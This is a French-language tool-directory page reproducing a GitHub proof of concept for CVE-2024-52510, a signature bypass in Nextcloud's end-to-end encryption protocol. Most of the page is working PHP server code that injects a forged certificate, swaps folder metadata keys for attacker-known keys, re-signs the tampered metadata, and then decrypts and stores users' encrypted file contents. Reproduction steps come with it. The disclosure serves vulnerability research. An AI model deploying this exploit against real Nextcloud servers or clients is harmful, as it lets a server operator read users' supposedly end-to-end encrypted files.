Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-52510 — Preuve de concept pour CVE-2024-52510 démontrant un contournement de signature dans le protocole E2EEv2 de Nextcloud, permettant le déchiffrement côté serveur de fichiers chiffrés via l'injection de clés de métadonnées. | Kitploit
Outils/GitHubGitHub/d-xuan/cve-2024-52510
Outils de Chiffrement/DéchiffrementAnalyse des VulnérabilitésExploitationCryptographieTests d'IntrusionSécurité Cloud
GitHubd-xuan/cve-2024-52510

CVE-2024-52510

Preuve de concept pour CVE-2024-52510 démontrant un contournement de signature dans le protocole E2EEv2 de Nextcloud, permettant le déchiffrement côté serveur de fichiers chiffrés via l'injection de clés de métadonnées.

Voir le dépôt
278il y a 2 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

POC de contournement de l'en-tête X-E2EE-SIGNATURE de Nextcloud

Résumé

  • Pendant le fonctionnement normal du protocole E2EEv2 de Nextcloud, les clients signent cryptographiquement les métadonnées de dossier avant de les téléverser vers le serveur. Cela garantit que les métadonnées n'ont pas été altérées lorsqu'elles sont récupérées pour les besoins du partage de fichiers ou de la synchronisation des modifications.

  • La vérification de la signature est effectuée par le client dans foldermetadata.cpp:177 lorsque les métadonnées récupérées sont initialisées. Cependant, il existe deux façons pour un serveur malveillant de contourner cette vérification :

    • Il peut répondre avec un en-tête X-E2EE-SIGNATURE vide. Puisque l'en-tête est vide, la condition à la ligne foldermetadata.cpp:168 fait que la vérification de signature n'a pas lieu, et les métadonnées modifiées sont acceptées par le client.

    • Il peut injecter un certificat dans le tableau JSON users, puis signer les métadonnées avec ce certificat. Puisque CMS_NO_SIGNER_CERT_VERIFY est passé à la ligne clientsideencryption.cpp:941, le certificat de signature n'est pas vérifié dans la chaîne et le client vérifie seulement que le certificat de signature est présent dans le vecteur certificatePems (clientsideencryption.cpp:955-971) qui est contrôlé par le serveur.

  • Dans cette POC, nous démontrerons la deuxième méthode car elle est la plus difficile à implémenter, mais les deux ont été testées et fonctionnent.

  • Un serveur malveillant peut utiliser ce contournement pour fournir aux clients des clés de métadonnées connues du serveur. Les clients utiliseront ensuite cette clé de métadonnées pour chiffrer les fichiers suivants, permettant au serveur de déchiffrer et de lire les fichiers dans les dossiers chiffrés de bout en bout.

    Cette façon d'exploiter le contournement de signature est basée sur une attaque découverte par Albrecht, Backendal, Coppola, Paterson en 2023 (https://eprint.iacr.org/2024/546) sur une version antérieure du protocole E2EE. En effet, l'authentification des clés de métadonnées était une stratégie d'atténuation pour l'attaque (voir la section 5.1 de l'article lié).

Étapes pour reproduire

  1. Clonez ce dépôt, et ouvrez-le dans VS Code en utilisant l'extension DevContainer. Un DevContainer basé sur celui du dépôt du serveur Nextcloud a été fourni avec les modifications suivantes :

    • Pour des raisons de débogage, un proxy inverse mitmproxy est présent sur le port 7001. L'interface web est accessible sur le port 7002.
    • Lors de l'installation du serveur Nextcloud, les applications encryption et end_to_end_encryption seront également activées, et un compte avec le nom d'utilisateur et le mot de passe sharer sera créé.
  2. Une fois le serveur opérationnel, connectez-vous-y à http://localhost:8000 (ou via le proxy inverse à http://localhost:7001) en utilisant le dernier client. Actuellement, j'ai testé cela sur l'AppImage v3.13.2.

root@kitploit:~
sha256sum Nextcloud-3.13.2-x86_64.AppImage 
92ec0a5260f6260fa8ce92acdb022c441f0efbf6b57cc96d75ac608ccb4c4ee2  Nextcloud-3.13.2-x86_64.AppImage
  1. Lorsque vous y êtes invité, connectez-vous avec le nom d'utilisateur sharer et le mot de passe sharer. Acceptez les options de synchronisation par défaut (création d'un répertoire ~/Nextcloud/ avec welcome.txt à l'intérieur), et configurez le chiffrement de bout en bout dans les paramètres du client Nextcloud.

  2. Créez un nouveau dossier encrypted_folder dans le répertoire ~/Nextcloud. Dans les paramètres du client Nextcloud, marquez ce dossier comme chiffré.

  1. Dans Nextcloud/encrypted_folder, créez un simple fichier texte et attendez qu'il se synchronise.
root@kitploit:~
# ~/Nextcloud/encrypted_folder
$ echo 'this should be encrypted' > file.txt
  1. Connectez-vous à la base de données Postgres dans Adminer à http://localhost:8080/ en utilisant les identifiants :

    • Nom d'utilisateur : postgres
    • Mot de passe : postgres
    • Base de données : postgres

et naviguez vers les tables oc_e2e_encryption_metadata et oc_e2e_encryption_decrypted. Vous devriez pouvoir voir les métadonnées déchiffrées et le contenu des fichiers en clair.

Les captures d'écran ci-dessus ont eu quelques fichiers de test supplémentaires créés et supprimés, donc elles seront légèrement différentes de ce que vous voyez.

Détails techniques

Ce dépôt est basé sur les dépôts Nextcloud server et application de chiffrement de bout en bout. La plupart du code reste inchangé, je vais donc essayer d'expliquer ce qui a été modifié.

Tout d'abord, la méthode getMetadata de MetaDataStorage.php a été modifiée pour altérer les métadonnées renvoyées en appelant une nouvelle méthode getFakeUserMetadata.

root@kitploit:~
--- original/lib/MetaDataStorage.php	2024-07-11 23:38:16.105826088 +1000
+++ nc-server/apps/end_to_end_encryption/lib/MetaDataStorage.php	2024-07-11 21:05:37.734565037 +1000
@@ -68,14 +82,12 @@
 			return $legacyFile->getContent();
 		}
 
-		$folderName = $this->getFolderNameForFileId($id);
-		$folder = $this->appData->getFolder($folderName);
+		$metaData = $this->getFakeUserMetadata($id);
 
-		return $folder
-			->getFile($this->metaDataFileName)
-			->getContent();
+		return $metaData;
 	}

Dans la méthode getFakeUserMetadata, nous injectons d'abord un certificat choisi dans la clé JSON users. Cela permet de faciliter la contrefaçon de signature.

root@kitploit:~
	private function getFakeUserMetadata(int $id): string {
		$folderName = $this->getFolderNameForFileId($id);
		$folder = $this->appData->getFolder($folderName);

		$metaData = json_decode($folder->getFile($this->metaDataFileName)->getContent());

		if (is_null($metaData->users)) {
			/* Ce n'est pas une métadonnée racine. Renvoyer normalement */
			return json_encode($metaData);
		}
				
		/* 
		 * Étape 1 : Injecter une fausse clé publique dans les métadonnées
		 * Cela peut être utilisé pour forger une signature pour la réponse.
		 */
		$found = false;
		foreach ($metaData->users as $userData) {
			if ($userData->userId === $this->fakeUserId) {
				$found = true;
				break;
			}
		}
		if (!$found) {
			try {
				$certificateFile = $folder->getFile($this->fakeUserPublicCertificateFileName);
				$privateKeyFile = $folder->getFile($this->fakeUserPrivateKeyFileName);
				$pemCertificate = $certificateFile->getContent();
			} catch (NotFoundException $e) {
				/* Créer une nouvelle clé privée pour l'utilisateur factice */
				$privateKey = openssl_pkey_new();
				openssl_pkey_export($privateKey, $privateKeyPem);
				$folder->newFile($this->fakeUserPrivateKeyFileName)->putContent($privateKeyPem);

				/* Le client attend un certificat pour la clé publique */
				$csr = openssl_csr_new(array(), $privateKey);
				$certificate = openssl_csr_sign($csr, null, $privateKey, 365);
				openssl_x509_export($certificate, $pemCertificate);
				$folder->newFile($this->fakeUserPublicCertificateFileName)->putContent($pemCertificate);
			}

			$newUser = new \stdClass();
			$newUser->certificate = $pemCertificate;
			array_push($metaData->users, $newUser); 
		}

Ensuite, comme nous avons accès à la clé publique du client, nous pouvons chiffrer nos propres clés et remplacer les clés de métadonnées chiffrées par des clés que nous contrôlons.

root@kitploit:~
		/* 
	 	 * Étape 2 : Modifier toutes les clés de métadonnées par des clés que nous contrôlons.
		 */
		foreach ($metaData->users as $userData) {
			$publicKey = PublicKeyLoader::load($userData->certificate)->withHash('sha256')->withMGFHash('sha256');
			$fakeEncryptedMetadataKey = $publicKey->encrypt($this->fakeMetadataKey);
			$userData->encryptedMetadataKey = base64_encode($fakeEncryptedMetadataKey);
		}	

		/* Nous devons définir userId après avoir défini encryptedMetadataKey, car Qt sérialisera les clés JSON par ordre alphabétique */
		if (!is_null($newUser)) {
			$newUser->userId = $this->fakeUserId;
		}

Puisque nous avons altéré les clés de métadonnées, nous devrons également modifier le texte chiffré. Si nous avons déjà exécuté l'attaque avec succès, nous aurons accès aux métadonnées réelles que nous pourrons rechiffrer. Sinon, nous initialiserons un objet de métadonnées vide et le chiffrerons.

root@kitploit:~
		/* 
		 * Étape 3 : Remplacer les métadonnées chiffrées par des métadonnées pouvant être déchiffrées avec la nouvelle clé.
		 * Ensuite, tant que nous ne déclenchons pas de synchronisation descendante, la prochaine requête PUT 
		 * contiendra des métadonnées chiffrées avec une clé que nous connaissons.
		 */
		$fakeMetadata = new \stdClass();
		$fakeMetadata->folders = new \stdClass();
		$fakeMetadata->files = new \stdClass();

		try {
			$metadataEntities = $this->metadataMapper->getByFolderId($id);
			foreach ($metadataEntities as $metadataEntity) {
				$encryptedFilename = $metadataEntity->getEncryptedFilename();
				if ($metadataEntity->isDirectory()) {
					$fakeMetadata->folders->$encryptedFilename = $metadataEntity->toJson();
				} else {
					$fakeMetadata->files->$encryptedFilename = $metadataEntity->toJson();
				}
			}
		} catch (DoesNotExistException $ex) {
			/* Renvoyer des métadonnées vides */
		}

		$fakeMetadata->counter = $this->getCounter($id);
		/* keyChecksums doit contenir le SHA256 de la clé de métadonnées déchiffrée (en hexadécimal) */
		$fakeMetadata->keyChecksums = array();
		array_push($fakeMetadata->keyChecksums, hash("sha256", $this->fakeMetadataKey));

		/* Ensuite, le texte chiffré AES-128-GCM de l'objet JSON compressé (gzip) est placé dans la réponse */
		$plaintext = gzencode(json_encode($fakeMetadata));
		$nonce = openssl_random_pseudo_bytes(16);
		$ciphertext = openssl_encrypt($plaintext, "aes-128-gcm", $this->fakeMetadataKey, OPENSSL_RAW_DATA, $nonce, $authenticationTag);

		$metaData->metadata->authenticationTag = base64_encode($authenticationTag);
		$metaData->metadata->ciphertext = base64_encode($ciphertext . $authenticationTag) . "|" . base64_encode($nonce);
		$metaData->metadata->nonce = base64_encode($nonce);

		$metaData = json_encode($metaData, JSON_UNESCAPED_SLASHES);
		
		/* Assurer que les métadonnées que nous renvoyons correspondent à celles stockées sur le disque */
		$folder->getFile($this->metaDataFileName)->putContent($metaData);

Enfin, nous prenons la charge utile JSON altérée et la signons à nouveau avec notre certificat. Une alternative serait également d'utiliser une signature vide ici.

root@kitploit:~
		/* Note : Nous n'avons besoin de forger une signature que pour les métadonnées racine */
		$certificateFile = $folder->getFile($this->fakeUserPublicCertificateFileName);
		$privateKeyFile = $folder->getFile($this->fakeUserPrivateKeyFileName);

		$pemCertificate = $certificateFile->getContent();
		$privateKey = openssl_pkey_get_private($privateKeyFile->getContent());
		
		$signatureTempFile = tempnam(sys_get_temp_dir(), "signature");
		$metadataTempFile = tempnam(sys_get_Temp_dir(), "metadata");
		file_put_contents($metadataTempFile, base64_encode($metaData));
		if (openssl_cms_sign($metadataTempFile, $signatureTempFile, $pemCertificate, $privateKey, array(), 0, OPENSSL_ENCODING_DER)) {
			$signature = base64_encode(file_get_contents($signatureTempFile));
			$this->writeSignature($folder, $this->metaDataSignatureFileName, $signature);
		} else {
			$this->writeSignature($folder, $this->metaDataSignatureFileName, "");
		}
		unlink($signatureTempFile);
		unlink($metadataTempFile);

		return $metaData;
	}

Une fois les métadonnées altérées, le client utilisera notre clé de chiffrement pour chiffrer toute nouvelle métadonnée. À la réception de toute nouvelle métadonnée, nous essayons de la déchiffrer avec notre clé.

root@kitploit:~
--- original/lib/Controller/MetaDataController.php	2024-07-11 23:38:16.102492800 +1000
+++ nc-server/apps/end_to_end_encryption/lib/Controller/MetaDataController.php	2024-07-11 20:54:06.794689137 +1000
@@ -164,9 +170,11 @@
 		}
 
 		if ($this->lockManager->isLocked($id, $e2eToken, null, true)) {
 			throw new OCSForbiddenException($this->l10n->t('Vous n\'êtes pas autorisé à modifier le fichier, assurez-vous d\'abord de le verrouiller, puis d\'envoyer le bon jeton'));
 		}
 
+		$this->metaDataStorage->decryptMetaData($id, $metaData);
+
 		try {
 			$this->metaDataStorage->updateMetaDataIntoIntermediateFile($this->userId, $id, $metaData, $e2eToken, $signature);
 		} catch (MissingMetaDataException $e) {
root@kitploit:~
	public function decryptMetaData(int $id, string $metaData) {
		$this->verifyFolderStructure();

		$folderName = $this->getFolderNameForFileId($id);
		$folder = $this->appData->getFolder($folderName);

		/* Essayer de déchiffrer les métadonnées entrantes avec notre fausse clé */
		$metaData = json_decode($metaData);
		$authenticationTag = base64_decode($metaData->metadata->authenticationTag);
		$ciphertextAndTag = base64_decode(explode("|", $metaData->metadata->ciphertext)[0]);
		$ciphertext = substr($ciphertextAndTag, 0, -16);
		$nonce = base64_decode($metaData->metadata->nonce);
		$gzippedPlaintext = openssl_decrypt($ciphertext, "aes-128-gcm", $this->fakeMetadataKey, OPENSSL_RAW_DATA, $nonce, $authenticationTag);

		/* Si nous réussissons, stocker les métadonnées déchiffrées */
		if ($gzippedPlaintext) {
			$decodedMetadata = json_decode(gzdecode($gzippedPlaintext));
			foreach ($decodedMetadata->files as $encryptedFilename => $file) {
				try {
					$metadataEntity = $this->metadataMapper->getByFolderIdAndEncryptedFilename($id, $encryptedFilename);
					$metadataEntity->setEncryptedFilename($encryptedFilename);
					$metadataEntity->setKey($file->key);
					$metadataEntity->setKey($file->key);
					$metadataEntity->setNonce($file->nonce);
					$metadataEntity->setAuthenticationTag($file->authenticationTag);
					$metadataEntity->setFilename($file->filename);
					$this->metadataMapper->update($metadataEntity);
				} catch (DoesNotExistException $ex) {
					$newMetadata = new Metadata();
					$newMetadata->setFolderId($id);
					$newMetadata->setEncryptedFilename($encryptedFilename);
					$newMetadata->setKey($file->key);
					$newMetadata->setNonce($file->nonce);
					$newMetadata->setAuthenticationTag($file->authenticationTag);
					$newMetadata->setFilename($file->filename);
					$this->metadataMapper->insert($newMetadata);
				}
			}
			foreach ($decodedMetadata->folders as $encryptedFilename => $filename) {
				try {
					$metadataEntity = $this->metadataMapper->getByFolderIdAndEncryptedFilename($id, $encryptedFilename);
					$metadataEntity->setFilename($filename);
					$this->metadataMapper->update($metadataEntity);
				} catch (DoesNotExistException $ex) {
					$newMetadata = new Metadata();
					$newMetadata->setFolderId($id);
					$newMetadata->setEncryptedFilename($encryptedFilename);
					$newMetadata->setFilename($filename);
					$this->metadataMapper->insert($newMetadata);
				}
			}
		}
	}

Enfin, nous créons un écouteur pour la création de nouveaux fichiers, et essayons de déchiffrer en utilisant les clés de fichier trouvées dans les métadonnées déchiffrées.

root@kitploit:~
class NodeCreatedListener implements IEventListener {
	private MetadataMapper $metadataMapper;
	private PlaintextMapper $plaintextMapper;

	public function __construct(MetadataMapper $metadataMapper, PlaintextMapper $plaintextMapper) {
		$this->metadataMapper = $metadataMapper;
		$this->plaintextMapper = $plaintextMapper;
	}

	public function handle(Event $event): void {
		if (!($event instanceof NodeCreatedEvent)) {
			return;
		}

		$node = $event->getNode();
		$encryptedFilename = preg_replace('/\.e2e-to-save$/', '', $node->getName());
		if ($node instanceof File) {
			$curr = $node;
			while (!($curr instanceof Root)) {
				$curr = $curr->getParent();
				$id = $curr->getId();

				try {
					$metadata = $this->metadataMapper->getByFolderIdAndEncryptedFilename($id, $encryptedFilename);
				} catch (DoesNotExistException $ex) {
					continue;
				}

				/* Métadonnées trouvées : essayer de déchiffrer */
				$key = base64_decode($metadata->getKey());
				$nonce = base64_decode($metadata->getNonce());
				$authenticationTag = base64_decode($metadata->getAuthenticationTag());
				$ciphertext = substr($node->getContent(), 0, -16);
				$plaintext = openssl_decrypt($ciphertext, "aes-128-gcm", $key, OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING, $nonce, $authenticationTag);

				if ($plaintext) {
					/* Déchiffrement réussi. Stocker dans la base de données */
					try {
						$plaintextEntity = $this->plaintextMapper->getById($metadata->getId());
						$plaintextEntity->setPlaintext($plaintext);
						$this->plaintextMapper->update($plaintextEntity);
					} catch (DoesNotExistException $ex) {
						$plaintextEntity = new Plaintext();
						$plaintextEntity->setId($metadata->getId());
						$plaintextEntity->setPlaintext($plaintext);
						$this->plaintextMapper->insert($plaintextEntity);
					}
					break;
				}
			}
		}
	}
}
Télécharger l’outil